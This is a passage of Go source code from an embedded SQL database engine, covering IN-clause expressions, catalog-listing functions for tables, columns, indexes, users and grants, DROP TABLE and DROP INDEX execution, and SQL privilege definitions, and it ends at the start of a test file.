clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *ExistsBoolExp) selectors() []Selector {\n\treturn nil\n}\n\nfunc (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn bexp\n}\n\nfunc (bexp *ExistsBoolExp) isConstant() bool {\n\treturn false\n}\n\nfunc (bexp *ExistsBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (bexp *ExistsBoolExp) String() string {\n\treturn \"\"\n}\n\ntype InSubQueryExp struct {\n\tval   ValueExp\n\tnotIn bool\n\tq     *SelectStmt\n}\n\nfunc (bexp *InSubQueryExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn AnyType, fmt.Errorf(\"error inferring type in 'IN' clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *InSubQueryExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\treturn fmt.Errorf(\"error inferring type in 'IN' clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *InSubQueryExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn bexp, nil\n}\n\nfunc (bexp *InSubQueryExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, fmt.Errorf(\"error inferring type in 'IN' clause: %w\", ErrNoSupported)\n}\n\nfunc (bexp *InSubQueryExp) selectors() []Selector {\n\treturn bexp.val.selectors()\n}\n\nfunc (bexp *InSubQueryExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn bexp\n}\n\nfunc (bexp *InSubQueryExp) isConstant() bool {\n\treturn false\n}\n\nfunc (bexp *InSubQueryExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\nfunc (bexp *InSubQueryExp) String() string {\n\treturn \"\"\n}\n\n// TODO: once InSubQueryExp is supported, this struct may become obsolete by creating a ListDataSource struct\ntype InListExp struct {\n\tval    ValueExp\n\tnotIn  bool\n\tvalues []ValueExp\n}\n\nfunc (bexp *InListExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tt, err := bexp.val.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn AnyType, fmt.Errorf(\"error inferring type in 'IN' clause: %w\", err)\n\t}\n\n\tfor _, v := range bexp.values {\n\t\terr = v.requiresType(t, cols, params, implicitTable)\n\t\tif err != nil {\n\t\t\treturn AnyType, fmt.Errorf(\"error inferring type in 'IN' clause: %w\", err)\n\t\t}\n\t}\n\n\treturn BooleanType, nil\n}\n\nfunc (bexp *InListExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\t_, err := bexp.inferType(cols, params, implicitTable)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif t != BooleanType {\n\t\treturn fmt.Errorf(\"error inferring type in 'IN' clause: %w\", ErrInvalidTypes)\n\t}\n\n\treturn nil\n}\n\nfunc (bexp *InListExp) substitute(params map[string]interface{}) (ValueExp, error) {\n\tval, err := bexp.val.substitute(params)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error evaluating 'IN' clause: %w\", err)\n\t}\n\n\tvalues := make([]ValueExp, len(bexp.values))\n\n\tfor i, val := range bexp.values {\n\t\tvalues[i], err = val.substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error evaluating 'IN' clause: %w\", err)\n\t\t}\n\t}\n\n\treturn &InListExp{\n\t\tval:    val,\n\t\tnotIn:  bexp.notIn,\n\t\tvalues: values,\n\t}, nil\n}\n\nfunc (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\trval, err := bexp.val.reduce(tx, row, implicitTable)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error evaluating 'IN' clause: %w\", err)\n\t}\n\n\tvar found bool\n\n\tfor _, v := range bexp.values {\n\t\trv, err := v.reduce(tx, row, implicitTable)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error evaluating 'IN' clause: %w\", err)\n\t\t}\n\n\t\tr, err := rval.Compare(rv)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error evaluating 'IN' clause: %w\", err)\n\t\t}\n\n\t\tif r == 0 {\n\t\t\t// TODO: short-circuit evaluation may be preferred when upfront static type inference is in place\n\t\t\tfound = found || true\n\t\t}\n\t}\n\n\treturn &Bool{val: found != bexp.notIn}, nil\n}\n\nfunc (bexp *InListExp) selectors() []Selector {\n\tselectors := make([]Selector, 0, len(bexp.values))\n\tfor _, v := range bexp.values {\n\t\tselectors = append(selectors, v.selectors()...)\n\t}\n\treturn append(bexp.val.selectors(), selectors...)\n}\n\nfunc (bexp *InListExp) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\tvalues := make([]ValueExp, len(bexp.values))\n\n\tfor i, val := range bexp.values {\n\t\tvalues[i] = val.reduceSelectors(row, implicitTable)\n\t}\n\n\treturn &InListExp{\n\t\tval:    bexp.val.reduceSelectors(row, implicitTable),\n\t\tvalues: values,\n\t}\n}\n\nfunc (bexp *InListExp) isConstant() bool {\n\treturn false\n}\n\nfunc (bexp *InListExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\t// TODO: may be determiined by smallest and bigggest value in the list\n\treturn nil\n}\n\nfunc (bexp *InListExp) String() string {\n\tvalues := make([]string, len(bexp.values))\n\tfor i, exp := range bexp.values {\n\t\tvalues[i] = exp.String()\n\t}\n\treturn fmt.Sprintf(\"%s IN (%s)\", bexp.val.String(), strings.Join(values, \",\"))\n}\n\ntype FnDataSourceStmt struct {\n\tfnCall *FnCall\n\tas     string\n}\n\nfunc (stmt *FnDataSourceStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *FnDataSourceStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *FnDataSourceStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\treturn tx, nil\n}\n\nfunc (stmt *FnDataSourceStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *FnDataSourceStmt) Alias() string {\n\tif stmt.as != \"\" {\n\t\treturn stmt.as\n\t}\n\n\tswitch strings.ToUpper(stmt.fnCall.fn) {\n\tcase DatabasesFnCall:\n\t\t{\n\t\t\treturn \"databases\"\n\t\t}\n\tcase TablesFnCall:\n\t\t{\n\t\t\treturn \"tables\"\n\t\t}\n\tcase TableFnCall:\n\t\t{\n\t\t\treturn \"table\"\n\t\t}\n\tcase UsersFnCall:\n\t\t{\n\t\t\treturn \"users\"\n\t\t}\n\tcase ColumnsFnCall:\n\t\t{\n\t\t\treturn \"columns\"\n\t\t}\n\tcase IndexesFnCall:\n\t\t{\n\t\t\treturn \"indexes\"\n\t\t}\n\tcase GrantsFnCall:\n\t\treturn \"grants\"\n\t}\n\n\t// not reachable\n\treturn \"\"\n}\n\nfunc (stmt *FnDataSourceStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (rowReader RowReader, err error) {\n\tif stmt.fnCall == nil {\n\t\treturn nil, fmt.Errorf(\"%w: function is unspecified\", ErrIllegalArguments)\n\t}\n\n\tswitch strings.ToUpper(stmt.fnCall.fn) {\n\tcase DatabasesFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListDatabases(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase TablesFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListTables(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase TableFnCall:\n\t\t{\n\t\t\treturn stmt.resolveShowTable(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase UsersFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListUsers(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase ColumnsFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListColumns(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase IndexesFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListIndexes(ctx, tx, params, scanSpecs)\n\t\t}\n\tcase GrantsFnCall:\n\t\t{\n\t\t\treturn stmt.resolveListGrants(ctx, tx, params, scanSpecs)\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"%w (%s)\", ErrFunctionDoesNotExist, stmt.fnCall.fn)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) {\n\tif len(stmt.fnCall.params) > 0 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect no parameters but %d were provided\", ErrIllegalArguments, DatabasesFnCall, len(stmt.fnCall.params))\n\t}\n\n\tcols := make([]ColDescriptor, 1)\n\tcols[0] = ColDescriptor{\n\t\tColumn: \"name\",\n\t\tType:   VarcharType,\n\t}\n\n\tvar dbs []string\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t} else {\n\t\tdbs, err = tx.engine.multidbHandler.ListDatabases(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvalues := make([][]ValueExp, len(dbs))\n\n\tfor i, db := range dbs {\n\t\tvalues[i] = []ValueExp{&Varchar{val: db}}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) {\n\tif len(stmt.fnCall.params) > 0 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect no parameters but %d were provided\", ErrIllegalArguments, TablesFnCall, len(stmt.fnCall.params))\n\t}\n\n\tcols := make([]ColDescriptor, 1)\n\tcols[0] = ColDescriptor{\n\t\tColumn: \"name\",\n\t\tType:   VarcharType,\n\t}\n\n\ttables := tx.catalog.GetTables()\n\n\tvalues := make([][]ValueExp, len(tables))\n\n\tfor i, t := range tables {\n\t\tvalues[i] = []ValueExp{&Varchar{val: t.name}}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveShowTable(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) {\n\tcols := []ColDescriptor{\n\t\t{\n\t\t\tColumn: \"column_name\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"type_name\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"is_nullable\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"is_indexed\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"is_auto_increment\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"is_unique\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t}\n\n\ttableName, _ := stmt.fnCall.params[0].reduce(tx, nil, \"\")\n\ttable, err := tx.catalog.GetTableByName(tableName.RawValue().(string))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([][]ValueExp, len(table.cols))\n\n\tfor i, c := range table.cols {\n\t\tindex := \"NO\"\n\n\t\tindexed, err := table.IsIndexed(c.Name())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif indexed {\n\t\t\tindex = \"YES\"\n\t\t}\n\n\t\tif table.PrimaryIndex().IncludesCol(c.ID()) {\n\t\t\tindex = \"PRIMARY KEY\"\n\t\t}\n\n\t\tvar unique bool\n\t\tfor _, index := range table.GetIndexesByColID(c.ID()) {\n\t\t\tif index.IsUnique() && len(index.Cols()) == 1 {\n\t\t\t\tunique = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tvar maxLen string\n\n\t\tif c.MaxLen() > 0 && (c.Type() == VarcharType || c.Type() == BLOBType) {\n\t\t\tmaxLen = fmt.Sprintf(\"(%d)\", c.MaxLen())\n\t\t}\n\n\t\tvalues[i] = []ValueExp{\n\t\t\t&Varchar{val: c.colName},\n\t\t\t&Varchar{val: c.Type() + maxLen},\n\t\t\t&Bool{val: c.IsNullable()},\n\t\t\t&Varchar{val: index},\n\t\t\t&Bool{val: c.IsAutoIncremental()},\n\t\t\t&Bool{val: unique},\n\t\t}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListUsers(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) {\n\tif len(stmt.fnCall.params) > 0 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect no parameters but %d were provided\", ErrIllegalArguments, UsersFnCall, len(stmt.fnCall.params))\n\t}\n\n\tcols := []ColDescriptor{\n\t\t{\n\t\t\tColumn: \"name\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"permission\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t}\n\n\tusers, err := tx.ListUsers(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([][]ValueExp, len(users))\n\tfor i, user := range users {\n\t\tperm := user.Permission()\n\n\t\tvalues[i] = []ValueExp{\n\t\t\t&Varchar{val: user.Username()},\n\t\t\t&Varchar{val: perm},\n\t\t}\n\t}\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) {\n\tif len(stmt.fnCall.params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect table name as parameter\", ErrIllegalArguments, ColumnsFnCall)\n\t}\n\n\tcols := []ColDescriptor{\n\t\t{\n\t\t\tColumn: \"table\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"name\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"type\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"max_length\",\n\t\t\tType:   IntegerType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"nullable\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"auto_increment\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"indexed\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"primary\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"unique\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t}\n\n\tval, err := stmt.fnCall.params[0].substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttableName, err := val.reduce(tx, nil, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tableName.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: expected '%s' for table name but type '%s' given instead\", ErrIllegalArguments, VarcharType, tableName.Type())\n\t}\n\n\ttable, err := tx.catalog.GetTableByName(tableName.RawValue().(string))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([][]ValueExp, len(table.cols))\n\n\tfor i, c := range table.cols {\n\t\tindexed, err := table.IsIndexed(c.Name())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar unique bool\n\t\tfor _, index := range table.indexesByColID[c.id] {\n\t\t\tif index.IsUnique() && len(index.Cols()) == 1 {\n\t\t\t\tunique = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tvalues[i] = []ValueExp{\n\t\t\t&Varchar{val: table.name},\n\t\t\t&Varchar{val: c.colName},\n\t\t\t&Varchar{val: c.colType},\n\t\t\t&Integer{val: int64(c.MaxLen())},\n\t\t\t&Bool{val: c.IsNullable()},\n\t\t\t&Bool{val: c.autoIncrement},\n\t\t\t&Bool{val: indexed},\n\t\t\t&Bool{val: table.PrimaryIndex().IncludesCol(c.ID())},\n\t\t\t&Bool{val: unique},\n\t\t}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) {\n\tif len(stmt.fnCall.params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect table name as parameter\", ErrIllegalArguments, IndexesFnCall)\n\t}\n\n\tcols := []ColDescriptor{\n\t\t{\n\t\t\tColumn: \"table\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"name\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"unique\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"primary\",\n\t\t\tType:   BooleanType,\n\t\t},\n\t}\n\n\tval, err := stmt.fnCall.params[0].substitute(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttableName, err := val.reduce(tx, nil, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif tableName.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: expected '%s' for table name but type '%s' given instead\", ErrIllegalArguments, VarcharType, tableName.Type())\n\t}\n\n\ttable, err := tx.catalog.GetTableByName(tableName.RawValue().(string))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalues := make([][]ValueExp, len(table.indexes))\n\n\tfor i, index := range table.indexes {\n\t\tvalues[i] = []ValueExp{\n\t\t\t&Varchar{val: table.name},\n\t\t\t&Varchar{val: index.Name()},\n\t\t\t&Bool{val: index.unique},\n\t\t\t&Bool{val: index.IsPrimary()},\n\t\t}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\nfunc (stmt *FnDataSourceStmt) resolveListGrants(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) {\n\tif len(stmt.fnCall.params) > 1 {\n\t\treturn nil, fmt.Errorf(\"%w: function '%s' expect at most one parameter of type %s\", ErrIllegalArguments, GrantsFnCall, VarcharType)\n\t}\n\n\tvar username string\n\tif len(stmt.fnCall.params) == 1 {\n\t\tval, err := stmt.fnCall.params[0].substitute(params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tuserVal, err := val.reduce(tx, nil, \"\")\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif userVal.Type() != VarcharType {\n\t\t\treturn nil, fmt.Errorf(\"%w: expected '%s' for username but type '%s' given instead\", ErrIllegalArguments, VarcharType, userVal.Type())\n\t\t}\n\t\tusername, _ = userVal.RawValue().(string)\n\t}\n\n\tcols := []ColDescriptor{\n\t\t{\n\t\t\tColumn: \"user\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t\t{\n\t\t\tColumn: \"privilege\",\n\t\t\tType:   VarcharType,\n\t\t},\n\t}\n\n\tvar err error\n\tvar users []User\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t} else {\n\t\tusers, err = tx.engine.multidbHandler.ListUsers(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvalues := make([][]ValueExp, 0, len(users))\n\n\tfor _, user := range users {\n\t\tif username == \"\" || user.Username() == username {\n\t\t\tfor _, p := range user.SQLPrivileges() {\n\t\t\t\tvalues = append(values, []ValueExp{\n\t\t\t\t\t&Varchar{val: user.Username()},\n\t\t\t\t\t&Varchar{val: string(p)},\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn NewValuesRowReader(tx, params, cols, true, stmt.Alias(), values)\n}\n\n// DropTableStmt represents a statement to delete a table.\ntype DropTableStmt struct {\n\ttable string\n}\n\nfunc NewDropTableStmt(table string) *DropTableStmt {\n\treturn &DropTableStmt{table: table}\n}\n\nfunc (stmt *DropTableStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DropTableStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDrop}\n}\n\nfunc (stmt *DropTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\n/*\nExec executes the delete table statement.\nIt the table exists, if not it does nothing.\nIf the table exists, it deletes all the indexes and the table itself.\nNote that this is a soft delete of the index and table key,\nthe data is not deleted, but the metadata is updated.\n*/\nfunc (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif !tx.catalog.ExistTable(stmt.table) {\n\t\treturn nil, ErrTableDoesNotExist\n\t}\n\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// delete table\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogTablePrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(table.id),\n\t)\n\terr = tx.delete(ctx, mappedKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// delete columns\n\tcols := table.ColumnsByID()\n\tfor _, col := range cols {\n\t\tmappedKey := MapKey(\n\t\t\ttx.sqlPrefix(),\n\t\t\tcatalogColumnPrefix,\n\t\t\tEncodeID(DatabaseID),\n\t\t\tEncodeID(col.table.id),\n\t\t\tEncodeID(col.id),\n\t\t\t[]byte(col.colType),\n\t\t)\n\t\terr = tx.delete(ctx, mappedKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// delete checks\n\tfor name := range table.checkConstraints {\n\t\tkey := MapKey(\n\t\t\ttx.sqlPrefix(),\n\t\t\tcatalogCheckPrefix,\n\t\t\tEncodeID(DatabaseID),\n\t\t\tEncodeID(table.id),\n\t\t\t[]byte(name),\n\t\t)\n\n\t\tif err := tx.delete(ctx, key); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// delete indexes\n\tfor _, index := range table.indexes {\n\t\tmappedKey := MapKey(\n\t\t\ttx.sqlPrefix(),\n\t\t\tcatalogIndexPrefix,\n\t\t\tEncodeID(DatabaseID),\n\t\t\tEncodeID(table.id),\n\t\t\tEncodeID(index.id),\n\t\t)\n\t\terr = tx.delete(ctx, mappedKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tindexKey := MapKey(\n\t\t\ttx.sqlPrefix(),\n\t\t\tMappedPrefix,\n\t\t\tEncodeID(table.id),\n\t\t\tEncodeID(index.id),\n\t\t)\n\t\terr = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error {\n\t\t\treturn sqlTx.engine.store.DeleteIndex(indexKey)\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = tx.catalog.deleteTable(table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\n// DropIndexStmt represents a statement to delete a table.\ntype DropIndexStmt struct {\n\ttable string\n\tcols  []string\n}\n\nfunc NewDropIndexStmt(table string, cols []string) *DropIndexStmt {\n\treturn &DropIndexStmt{table: table, cols: cols}\n}\n\nfunc (stmt *DropIndexStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DropIndexStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDrop}\n}\n\nfunc (stmt *DropIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\n/*\nExec executes the delete index statement.\nIf the index exists, it deletes it. Note that this is a soft delete of the index\nthe data is not deleted, but the metadata is updated.\n*/\nfunc (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif !tx.catalog.ExistTable(stmt.table) {\n\t\treturn nil, ErrTableDoesNotExist\n\t}\n\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcols := make([]*Column, len(stmt.cols))\n\n\tfor i, colName := range stmt.cols {\n\t\tcol, err := table.GetColumnByName(colName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcols[i] = col\n\t}\n\n\tindex, err := table.GetIndexByName(indexName(table.name, cols))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// delete index\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogIndexPrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(table.id),\n\t\tEncodeID(index.id),\n\t)\n\terr = tx.delete(ctx, mappedKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tindexKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tMappedPrefix,\n\t\tEncodeID(table.id),\n\t\tEncodeID(index.id),\n\t)\n\n\terr = tx.addOnCommittedCallback(func(sqlTx *SQLTx) error {\n\t\treturn sqlTx.engine.store.DeleteIndex(indexKey)\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = table.deleteIndex(index)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\ntype SQLPrivilege string\n\nconst (\n\tSQLPrivilegeSelect SQLPrivilege = \"SELECT\"\n\tSQLPrivilegeCreate SQLPrivilege = \"CREATE\"\n\tSQLPrivilegeInsert SQLPrivilege = \"INSERT\"\n\tSQLPrivilegeUpdate SQLPrivilege = \"UPDATE\"\n\tSQLPrivilegeDelete SQLPrivilege = \"DELETE\"\n\tSQLPrivilegeDrop   SQLPrivilege = \"DROP\"\n\tSQLPrivilegeAlter  SQLPrivilege = \"ALTER\"\n)\n\nvar allPrivileges = []SQLPrivilege{\n\tSQLPrivilegeSelect,\n\tSQLPrivilegeCreate,\n\tSQLPrivilegeInsert,\n\tSQLPrivilegeUpdate,\n\tSQLPrivilegeDelete,\n\tSQLPrivilegeDrop,\n\tSQLPrivilegeAlter,\n}\n\nfunc DefaultSQLPrivilegesForPermission(p Permission) []SQLPrivilege {\n\tswitch p {\n\tcase PermissionSysAdmin, PermissionAdmin, PermissionReadWrite:\n\t\treturn allPrivileges\n\tcase PermissionReadOnly:\n\t\treturn []SQLPrivilege{SQLPrivilegeSelect}\n\t}\n\treturn nil\n}\n\ntype AlterPrivilegesStmt struct {\n\tdatabase   string\n\tuser       string\n\tprivileges []SQLPrivilege\n\tisGrant    bool\n}\n\nfunc (stmt *AlterPrivilegesStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *AlterPrivilegesStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *AlterPrivilegesStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: user privileges modification can not be done within a transaction\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\tvar err error\n\tif stmt.isGrant {\n\t\terr = tx.engine.multidbHandler.GrantSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges)\n\t} else {\n\t\terr = tx.engine.multidbHandler.RevokeSQLPrivileges(ctx, stmt.database, stmt.user, stmt.privileges)\n\t}\n\treturn nil, err\n}\n\nfunc (stmt *AlterPrivilegesStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/sql/stmt_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRequiresTypeColSelectorsValueExp(t *testing.T) {\n\tcols := make(map[string]ColDescriptor)\n\tcols[\"(mytable.id)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ts)\"] = ColDescriptor{Type: TimestampType}\n\tcols[\"(mytable.title)\"] = ColDescriptor{Type: VarcharType}\n\tcols[\"(mytable.active)\"] = ColDescriptor{Type: BooleanType}\n\tcols[\"(mytable.payload)\"] = ColDescriptor{Type: BLOBType}\n\tcols[\"COUNT(mytable.*)\"] = ColDescriptor{Type: IntegerType}\n\tcols[\"(mytable.ft)\"] = ColDescriptor{Type: Float64Type}\n\n\tparams := make(map[string]SQLValueType)\n\n\ttestCases := []struct {\n\t\texp           